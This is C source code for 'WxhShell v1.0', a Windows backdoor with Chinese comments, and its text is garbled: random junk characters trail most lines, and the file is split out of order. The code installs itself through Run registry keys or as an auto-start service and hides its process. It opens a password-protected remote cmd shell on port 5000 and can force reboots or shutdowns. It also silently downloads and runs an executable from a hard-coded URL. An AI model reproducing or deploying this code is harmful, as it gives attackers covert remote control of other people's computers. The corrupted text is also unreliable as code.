    if(Boot(SHUTDOWN)) @\!9dK-W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); icX$<lD  
    else { 6L2Si4OGjG  
    closesocket(wsh); vfh0aW-O  
    ExitThread(0); \[-z4Fxg|'  
    } LEUD6 M+~t  
    break; kRyt|ryWh  
    } LB)sk$)  
  // 获取shell ]/_GHG9  
  case 's': { Hko(@z  
    CmdShell(wsh); g;>M{)A  
    closesocket(wsh); ${/"u3a_  
    ExitThread(0); 2WA =U]  
    break; mNvK|bTUT  
  } WdA6Y  
  // 退出 A ko}v"d  
  case 'x': { T@GR Tg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (,J`!Y hS  
    CloseIt(wsh); aWLeyXsAu  
    break; )>! IY Q  
    } 'm;M+:l 6  
  // 离开 GisI/Ir[  
  case 'q': { /R_*u4}iD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *L%i-Wg"  
    closesocket(wsh); B>^5h?(lt  
    WSACleanup(); +UK".  
    exit(1); )A`Zgg'L7D  
    break; ]Tje6i F  
        } gAx8r-` `  
  } ) OqQz7'  
  } -*?Y4}mK  
I) $of9   
  // 提示信息 )P{I<TBI;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5>XrNc91  
} ?|i6]y=D  
  } %HRFH  
>PsP y.  
  return; !  Z e  
} S;o U'KOY  
)$#r6fQO  
// shell模块句柄 dh7PpuN{  
int CmdShell(SOCKET sock) !U,^+"l'GP  
{ 0I.9m[<Fc  
STARTUPINFO si; 3X+uJb2  
ZeroMemory(&si,sizeof(si)); !Q,A#N(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S=Ihg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @~!1wPvF`I  
PROCESS_INFORMATION ProcessInfo; 5-277?  
char cmdline[]="cmd"; seFug  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <JA`e+Bi  
  return 0; BO5gwvyI  
} @-z#vJ5Qe{  
AUloP?24  
// 自身启动模式 1MtvnPY  
int StartFromService(void) W#<&(s4  
{ `ag7xd!  
typedef struct $jYwV0  
{ ub "(,k P  
  DWORD ExitStatus; kT(}>=]g  
  DWORD PebBaseAddress; Nk-biD/J  
  DWORD AffinityMask; mx#H+:}&r  
  DWORD BasePriority; qAH@)}  
  ULONG UniqueProcessId; HQ%-e5Q  
  ULONG InheritedFromUniqueProcessId; Z\=].[,w4  
}   PROCESS_BASIC_INFORMATION; Co2* -[R  
Yx_[vLm  
PROCNTQSIP NtQueryInformationProcess; AgsMk  
%6`{KT?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; r9Ux=W\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2Yx6.e<  
`_]Z#X&&h  
  HANDLE             hProcess; >'i d/  
  PROCESS_BASIC_INFORMATION pbi; `Z{kJMS  
r)|X?   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  qO  
  if(NULL == hInst ) return 0; ]P TTI\n  
PN{l)&K2.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u7u8cVF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l`2X'sw[/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I/bED~Z:a  
,jBd3GdlZ  
  if (!NtQueryInformationProcess) return 0; QZBXI3%#s  
Sf}>~z2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |Xblz1>DF  
  if(!hProcess) return 0; IMY?L  
d7A08l{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gmfux b/  
\s2hep  
  CloseHandle(hProcess); -ob_]CKtJ~  
i0uBb%GMT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u93=>S  
if(hProcess==NULL) return 0; TB] %?L:  
lrjlkgSN  
HMODULE hMod; ,P^pDrc  
char procName[255]; 7z \I\8  
unsigned long cbNeeded; 'sJ=h0d_[V  
<^,w,A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2}u hPW+  
n4%|F'ma  
  CloseHandle(hProcess); y D.S"  
?JTy+V2t  
if(strstr(procName,"services")) return 1; // 以服务启动 f>JuxX\G  
pN<wO1\9  
  return 0; // 注册表启动 lgZ3=h  
} )5lo^Qb  
Lj"~6l`)  
// 主模块 xm>RLx}9  
int StartWxhshell(LPSTR lpCmdLine) DCb\ =E  
{ ze Qgg|;  
  SOCKET wsl; c,KT1me  
BOOL val=TRUE; YzU(U_g$  
  int port=0; L0SeG:  
  struct sockaddr_in door; &I.UEF2,  
mt7}1s,i[  
  if(wscfg.ws_autoins) Install(); /%Bc*k=ox  
sk!v!^\_r  
port=atoi(lpCmdLine); Wy%q9x]}  
QP|Ou*Qm)  
if(port<=0) port=wscfg.ws_port; B^Q\l!r  
zIWw055W  
  WSADATA data; SsDz>PP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RqW ZhHI1M  
Q7$ILW-S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N<+ ><>9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 22|eiW/a  
  door.sin_family = AF_INET; vV1F|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p5^,3&  
  door.sin_port = htons(port); h&J6  
n6; jIf|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i TY4X:x  
closesocket(wsl); SF61rm  
return 1; X 'Q$v~/  
} \_FX}1Wc2.  
In|:6YDL&  
  if(listen(wsl,2) == INVALID_SOCKET) { ~#iRh6 ^98  
closesocket(wsl); KzZ! CB\  
return 1; >2`)S{pBD  
} C>Qgd9  
  Wxhshell(wsl); ^.,pq?_  
  WSACleanup(); 7/NXb  
Eom|*2vWIC  
return 0; `CW8Wj  
!<]%V]5[_  
}  W-@A  
`pzp(\lc  
// 以NT服务方式启动 e0"R7a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tfj6#{M5  
{ i$)bZr\  
DWORD   status = 0; =,KRZqz  
  DWORD   specificError = 0xfffffff; &TE=$a:d&  
9 )u*IGj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6 k+FTDL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CJk$o K{Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CfQOG7e@  
  serviceStatus.dwWin32ExitCode     = 0; ./mh 9ax  
  serviceStatus.dwServiceSpecificExitCode = 0; bT}P":*y  
  serviceStatus.dwCheckPoint       = 0; CQ2{5  
  serviceStatus.dwWaitHint       = 0; EtJyI&7VK  
y5iLFR3z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )I{41/_YA  
  if (hServiceStatusHandle==0) return; j[gX"PdQ  
33|>u+  
status = GetLastError(); ]uX'[Z}t  
  if (status!=NO_ERROR) ed4:r/Dpo  
{ 2hAu~#X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eIK8J,-  
    serviceStatus.dwCheckPoint       = 0; Ojq>4=Z\  
    serviceStatus.dwWaitHint       = 0; V0z.w:-  
    serviceStatus.dwWin32ExitCode     = status; lz@fXaZM  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZO{uG(u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zx'G0Z9]  
    return; )6iY9[@tN  
  } :j9{n ,F  
[Rw0']i`4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5b3Wt7  
  serviceStatus.dwCheckPoint       = 0; <~t38|Ff@  
  serviceStatus.dwWaitHint       = 0; H1rge<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AU}e^1h  
} \v{tK;  
KOGbC`TN<  
// 处理NT服务事件,比如:启动、停止 ibex:W^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d*Dq=.F(  
{ *:bNK5I.t  
switch(fdwControl)  y$7Fq'  
{ /8@JWK^I{  
case SERVICE_CONTROL_STOP: MBRRzq%F  
  serviceStatus.dwWin32ExitCode = 0; 5i7,s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "0 \U>h  
  serviceStatus.dwCheckPoint   = 0; aiGT!2  
  serviceStatus.dwWaitHint     = 0; 2]C`S,)  
  { m `~/]QQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |/C>xunzz  
  } -}@3,G  
  return; S{{D G  
case SERVICE_CONTROL_PAUSE: vE7L> 7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BbUZ,X*Y  
  break; _,_>B8  
case SERVICE_CONTROL_CONTINUE: o0&jel1a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |Y|{9Osus  
  break; B;Ab`UX#t  
case SERVICE_CONTROL_INTERROGATE: 5WgdgDb@L  
  break; HS.3PE0^C  
}; qyGVyi3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pL8+gL  
} YuSe~~F)j  
w' K\}G~  
// 标准应用程序主函数 zz 7 m\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G*2bYsnhX  
{ 0DhF3]  
J/8aDr (+  
// 获取操作系统版本 -MOPm]iA  
OsIsNt=GetOsVer(); rBa <s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kc^ Q ?-?  
,,S5 8\x  
  // 从命令行安装 'W usEME  
  if(strpbrk(lpCmdLine,"iI")) Install(); sh[Yu  
&^FCp'J-  
  // 下载执行文件 iq-n(Rfw~  
if(wscfg.ws_downexe) { 2-j+-B|i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,.uu/qV}w  
  WinExec(wscfg.ws_filenam,SW_HIDE); RzQ1Wq  
} o)Kx:l +f  
\ F#mwl,>"  
if(!OsIsNt) { Q\&FuU  
// 如果时win9x,隐藏进程并且设置为注册表启动 .9+"rK}u  
HideProc(); k-xh-&  
StartWxhshell(lpCmdLine); RoSh|$JF  
} o1YX^-<[F  
else 'x{g P?.  
  if(StartFromService()) <iunDL0  
  // 以服务方式启动 i%+cPQ^o  
  StartServiceCtrlDispatcher(DispatchTable); )Y}t~ Zfx  
else Gp'rN}i^  
  // 普通方式启动 :,%~rR  
  StartWxhshell(lpCmdLine); 7kx)/Rw\B  
cOcF VPQ  
return 0; 6 /gh_'&  
} ]]`hnzJX  
]?S\So+  
5p}Y6Lc\j  
DZ5%-  
=========================================== $cEl6(66iX  
>J^bs &j  
WM5 s  
sufidi  
JO\Tf."a\  
w'z ?1M(*  
" (g xCP3  
0ohpJh61Q  
#include <stdio.h> %l%5Q;t  
#include <string.h> ,S E5W2a]  
#include <windows.h> >B/ jTn5=  
#include <winsock2.h> |E-/b6G  
#include <winsvc.h> e}yoy+9  
#include <urlmon.h> _+YCwg  
$7eO33Bm  
#pragma comment (lib, "Ws2_32.lib") n#t{3qzpD  
#pragma comment (lib, "urlmon.lib") WL$Ee=  
8rwkux >  
#define MAX_USER   100 // 最大客户端连接数 x4fl=  
#define BUF_SOCK   200 // sock buffer |6w.m<p  
#define KEY_BUFF   255 // 输入 buffer 6wC|/J^  
3&'ll51t  
#define REBOOT     0   // 重启 /3->TS  
#define SHUTDOWN   1   // 关机 $~vy,^  
e\x=4i  
#define DEF_PORT   5000 // 监听端口 {WUW.(^]G  
EM]~yn!+  
#define REG_LEN     16   // 注册表键长度 $s<,xY 9  
#define SVC_LEN     80   // NT服务名长度 jV Yt=j*"V  
#TZf\0\!  
// 从dll定义API }YJ(|z""  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g.OBh_j-v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tz0@csXV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Qb}7lm{r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ._@Scd  
wjh[}rTV*  
// wxhshell配置信息 fD+'{ivN4  
struct WSCFG { ?h UC#{  
  int ws_port;         // 监听端口 'W>Bz,M6yo  
  char ws_passstr[REG_LEN]; // 口令 p'UYH t  
  int ws_autoins;       // 安装标记, 1=yes 0=no =!7k/n';  
  char ws_regname[REG_LEN]; // 注册表键名 [^xLK  
  char ws_svcname[REG_LEN]; // 服务名 PmOm>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <,p|3p3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2%4dA$H#4w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |_L\^T|6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DpjiE/*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tiG=KHK%o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ETvn$ Jdp  
P5s'cPX  
}; ]oB-qfbH  
hJY= )  
// default Wxhshell configuration YT\x'`>Q  
struct WSCFG wscfg={DEF_PORT, hZ NS$  
    "xuhuanlingzhe", {^>dQ+Sx7  
    1, {3=M-U~r  
    "Wxhshell", ;;rEv5 /  
    "Wxhshell", rX*4$d0  
            "WxhShell Service", [kwVxaI  
    "Wrsky Windows CmdShell Service", )RA$E`!b  
    "Please Input Your Password: ", S^nshQI  
  1, ufF$7@(+  
  "http://www.wrsky.com/wxhshell.exe", SK f9 yS#  
  "Wxhshell.exe" U-/-aNJ]U  
    }; gyi<ot;  
 fp!Ba  
// 消息定义模块 =d>^q7s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dw{L,u`68  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j8WMGSrrF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y<r7_ysi  
char *msg_ws_ext="\n\rExit."; P,5gaT)  
char *msg_ws_end="\n\rQuit."; d*3;6ZLy  
char *msg_ws_boot="\n\rReboot..."; 4oW6&1  
char *msg_ws_poff="\n\rShutdown..."; df@IC@`pB  
char *msg_ws_down="\n\rSave to "; EfA*w/y  
A0{ !m  
char *msg_ws_err="\n\rErr!"; sevaNs  
char *msg_ws_ok="\n\rOK!"; r ;:5P%:  
A[20ic  
char ExeFile[MAX_PATH]; |"V]$s$ c  
int nUser = 0; .)Xyz d  
HANDLE handles[MAX_USER]; L ;5R*)t  
int OsIsNt; yVA<-PlS<  
)Los\6PRn  
SERVICE_STATUS       serviceStatus; bvdAOvxChW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pqmb&"l  
.b'o}DLa  
// 函数声明 ygt7;};!  
int Install(void); cQkH4>C~  
int Uninstall(void); awP ']iE  
int DownloadFile(char *sURL, SOCKET wsh); 4o7(cP  
int Boot(int flag);  N7%iz+  
void HideProc(void); EB8=*B8  
int GetOsVer(void); f#~X4@DH`  
int Wxhshell(SOCKET wsl); ^Mw>'*5^  
void TalkWithClient(void *cs); }.md$N_F  
int CmdShell(SOCKET sock); nNuv 0  
int StartFromService(void); Ay?;0w0  
int StartWxhshell(LPSTR lpCmdLine); T}DP35dBzE  
Glz)-hjJ:n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'N1_:$z@(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }yM /z  
:N!Fe7H,  
// 数据结构和表定义 =.vc={_ ?  
SERVICE_TABLE_ENTRY DispatchTable[] = Z^t"!oY  
{ H/!_D f  
{wscfg.ws_svcname, NTServiceMain}, $`7cs}#  
{NULL, NULL} ZJUTtiD  
}; j ys1Ki  
s$g"6;_\  
// 自我安装 h<KE)^).  
int Install(void) U)IW6)q  
{ 9+'QH  
  char svExeFile[MAX_PATH]; l :sZ  
  HKEY key; Z}#, E ;  
  strcpy(svExeFile,ExeFile); Q-<,+[/  
s)_Xj`Q#  
// 如果是win9x系统,修改注册表设为自启动 V}?d ,.m`{  
if(!OsIsNt) { )$18a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y@)iPK@z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _`6fGu& W  
  RegCloseKey(key); C.SG m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _ _x2xtrH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q,b6).  
  RegCloseKey(key); dWR0tS6vR`  
  return 0; e[txJ*SuO  
    } SplEY!.k  
  } gFk~SJd  
} =4RXNWkud  
else { x13t@b  
8r7}6  
// 如果是NT以上系统,安装为系统服务 (r8Rb*OP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =`VA_xVu  
if (schSCManager!=0) ?6h65GO{  
{ W zM9{c  
  SC_HANDLE schService = CreateService bs-O3w  
  ( .j*muDVQn  
  schSCManager, R"Ol'y{  
  wscfg.ws_svcname, /S}0u}jID?  
  wscfg.ws_svcdisp, L2"fO  
  SERVICE_ALL_ACCESS, 1.7tXjRd+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T KpX]H`  
  SERVICE_AUTO_START, ^,@!L-<~(b  
  SERVICE_ERROR_NORMAL, SM>V o+  
  svExeFile,  _N`:NOM  
  NULL, :Ny.OA  
  NULL, *5( h,s3&  
  NULL, h.\V;6ly  
  NULL, G8}w|'0m  
  NULL 5LVhq[}mP  
  ); T;6 VI|\  
  if (schService!=0) p(EV-^  
  { )vH6N_  
  CloseServiceHandle(schService); yKJKQ9  
  CloseServiceHandle(schSCManager); o K;.|ja  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |eD$eZ=m  
  strcat(svExeFile,wscfg.ws_svcname); j=U [V&T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q;p?.GI?-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oqzx}?0  
  RegCloseKey(key); #:rywz+  
  return 0; IooAXwOF  
    }  3*@ sp  
  } r^3QDoy  
  CloseServiceHandle(schSCManager); ~T;FOB%w  
} sSVgDQ~q  
} ka_]s:>+  
gXtyl]K:  
return 1; Q+e|;Mj  
} plL##?<D<  
RS&l68[6  
// 自我卸载 g'G"`)~ 2  
int Uninstall(void) HCP' V  
{ ~Yrtz   
  HKEY key; `<I+(8]Uz  
* b+ef  
if(!OsIsNt) { Kk?P89=*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ia.95H;  
  RegDeleteValue(key,wscfg.ws_regname); 63b?-.!b  
  RegCloseKey(key); r)$(>/[$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U 00}jH  
  RegDeleteValue(key,wscfg.ws_regname); QdaYP  
  RegCloseKey(key); 5mNd5IM  
  return 0; <0,c{e  
  } E. @n Rj#  
} ;B[*f?y-  
} 8 VMe#41  
else { d! 0p^!3  
Xy{\>}i]N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ><o dBM-  
if (schSCManager!=0) j6wdqa9!~  
{ 5&5 x[S8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l4c9.'6  
  if (schService!=0) ur\v[k=  
  { Sp+ zP-3  
  if(DeleteService(schService)!=0) { ;q:.&dak1  
  CloseServiceHandle(schService); 2BA'Zu`  
  CloseServiceHandle(schSCManager); C[h"w'A2  
  return 0; (<f`}, QxD  
  } Y`@:L'j  
  CloseServiceHandle(schService); <u\j 4<p  
  } jOs&E^">&B  
  CloseServiceHandle(schSCManager); B%95M|  
} x:bJ1%  
} o"F=3b~:n  
1`1U'ibhe  
return 1; H.sHXuu  
} JTuU}nm+  
{"< D$*K~  
// 从指定url下载文件 vu^ '+ky  
int DownloadFile(char *sURL, SOCKET wsh) 9pN},F91n:  
{ `]L&2RS  
  HRESULT hr; 69)- )en  
char seps[]= "/"; aiP.\`>}  
char *token; 5c?1JH62o8  
char *file; O)g\/uRy  
char myURL[MAX_PATH]; D/1{v  
char myFILE[MAX_PATH]; 2y6 e]D  
octBt`\Of  
strcpy(myURL,sURL); Ba$&4?8  
  token=strtok(myURL,seps); HIUB:  
  while(token!=NULL) 4(5NHsvp  
  { W0GDn  
    file=token; $RxS<_tj  
  token=strtok(NULL,seps); if6/ +7  
  } ;c1ar)G7  
<=;#I_E#E  
GetCurrentDirectory(MAX_PATH,myFILE); 4L(/Z}(  
strcat(myFILE, "\\"); s!* m^zx  
strcat(myFILE, file); |l)z^V!  
  send(wsh,myFILE,strlen(myFILE),0); o+e:H jZZ  
send(wsh,"...",3,0); };5d>#NK,Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dTN[E6#R  
  if(hr==S_OK) H$2<N@'4z  
return 0; - inZX`afA  
else Wr.G9zq.+  
return 1; tz #Fy?pe  
6?an._ C  
} .(T*mk*>  
#l kv&.)x  
// 系统电源模块 IbFS8 *a\  
int Boot(int flag) JQCQpn/  
{ H+UA  
  HANDLE hToken; CAX)AN  
  TOKEN_PRIVILEGES tkp; 6CoDn(+z  
~gz_4gzb  
  if(OsIsNt) { @VlDi1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (~ 6oA f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !g=2U`j^  
    tkp.PrivilegeCount = 1; I<p- o/TP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Z(F`M;1>xI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JHN{vB  
if(flag==REBOOT) { XcfvmlBoD-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8G&'ED_&  
  return 0; nksx|i l  
} {OA2';3  
else { ~\;s}Fv.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^Ec);Z  
  return 0; bb@@QzR  
} [I*zZ`  
  } ifyWhS++  
  else { HE>6A|rgDr  
if(flag==REBOOT) { ~4e4G yx c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mQ# 0c_  
  return 0; J9+< 9g4-t  
} 7f!"vhCXM;  
else { i8CO+Iv*{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) - \ {.]KL  
  return 0; s];jroW@u  
} 565UxG }  
} 0)=U:y.  
K"lZwU\:On  
return 1; "UUzLa_  
} ;JQ:S~K9  
q]}fW)r  
// win9x进程隐藏模块 ;onhc*{lv  
void HideProc(void) i7N|p9O.  
{ qX,T X 3  
z"[}Sk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l_Ee us  
  if ( hKernel != NULL ) (MfPu8j  
  { Qq,w6ekr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); kkvG=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [FhFeW>  
    FreeLibrary(hKernel); b/>L}/^PM  
  } AXK6AZjX  
F#<$yUf%  
return; IdP"]Sv{<  
} F^La\cZ*'  
fpESuVKr  
// 获取操作系统版本 3<c_`BWu  
int GetOsVer(void) )#|I(Gz ^  
{ NR </Jm*  
  OSVERSIONINFO winfo;  D`Tx,^E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~yrEB:w`_  
  GetVersionEx(&winfo); yL ?dC"c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G a1B&@T  
  return 1; 9c `Vrlu  
  else >P-{2 a,4  
  return 0; ExJch\  
} 'fIBJ3s[o  
|2ttdc.  
// 客户端句柄模块 6;JlA})  
int Wxhshell(SOCKET wsl) j>D[iHrH  
{ ()Cw;N{E  
  SOCKET wsh; <G+IbUG:  
  struct sockaddr_in client; K<#Q;(SFU  
  DWORD myID; ~Vh< mt  
1m c'=S{  
  while(nUser<MAX_USER) c-?2>%;(V  
{ luPj'd?  
  int nSize=sizeof(client); D' d^rT| H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1/hk3m(C  
  if(wsh==INVALID_SOCKET) return 1; eyUhM jd  
T~&9/%$F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); AEUXdMo  
if(handles[nUser]==0) OE{PP9 eh  
  closesocket(wsh); ;|a,1#x  
else HutwgPvy  
  nUser++; }VetaO2*  
  } zG"*B_l}+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qj:`[#3?2  
p bRU"   
  return 0; |ORro r}  
} J ~"h&>T  
oZ CvEVUk  
// 关闭 socket ,)u7PMs  
void CloseIt(SOCKET wsh) L("zS%qr  
{ 8Qwn  
closesocket(wsh); #YEOY#  
nUser--; uaiCyh1:  
ExitThread(0); f&ZFG>)6  
} .+.BNS   
xD|/98  
// 客户端请求句柄 O|ODJOQNol  
void TalkWithClient(void *cs) E;*JD x  
{ 4/_@F>I_  
7QnQ=gu  
  SOCKET wsh=(SOCKET)cs; h#EksX  
  char pwd[SVC_LEN]; DrY5Q&S  
  char cmd[KEY_BUFF]; 2%i3[N*  
char chr[1]; ,o?yS>L_r  
int i,j; n91@{U)QJ3  
q3SYlL'a  
  while (nUser < MAX_USER) { x{|`q9V~ N  
!}+rg2  
if(wscfg.ws_passstr) { f\/'Fy0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,sk0){rW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mW+QJ`3  
  //ZeroMemory(pwd,KEY_BUFF); W)OoHpdw  
      i=0; dI$U{;t  
  while(i<SVC_LEN) { H.H$5(?O  
 ~[wh  
  // 设置超时 JGZxNUr^  
  fd_set FdRead; +DpiX&^h   
  struct timeval TimeOut; 6`V2-zv$  
  FD_ZERO(&FdRead); li`4&<WGC  
  FD_SET(wsh,&FdRead); 3Mlwq'pzD  
  TimeOut.tv_sec=8; vwc)d{ND  
  TimeOut.tv_usec=0; 7y/Pch  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )|Il@unp/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8Ev,9  
[Y%H8}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @a[Y[F S  
  pwd=chr[0]; )9PP3"I  
  if(chr[0]==0xd || chr[0]==0xa) { eG F{.]  
  pwd=0; 0}:wM':G  
  break; u`j9m @`  
  } 8B|qNf `Yi  
  i++; sy s6 V?  
    } O=A(x m#  
%XU V[L}  
  // 如果是非法用户,关闭 socket b+6%Mu}o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `H#G/zOr  
} AVR=\ qR  
FlqE!6[[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y*KHr`\C4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3P&K<M#\  
pT=YV k  
while(1) { DjK  
PrZs@ Y  
  ZeroMemory(cmd,KEY_BUFF); 5PCMxjon  
kZfUwF:yN  
      // 自动支持客户端 telnet标准   bVbh| AA  
  j=0; uy t'  
  while(j<KEY_BUFF) { /1!Wet}f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d9E'4Zm  
  cmd[j]=chr[0]; "=/YPw^0  
  if(chr[0]==0xa || chr[0]==0xd) { x9lG$0k:V  
  cmd[j]=0; n}T;q1  
  break; o`EL)K{  
  } <-3_tu>l  
  j++; Z~WUILx,  
    } > ]()#z  
U> @st="  
  // 下载文件 h M/:zC:  
  if(strstr(cmd,"http://")) { %^){)#6w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Js'#=  
  if(DownloadFile(cmd,wsh)) >bo_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  55<f  
  else eX1<zzd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j1sZRl)D  
  } jJ B+UF=  
  else { = MP?aH [  
;%/Kh :Vg  
    switch(cmd[0]) { b;AGw3SF  
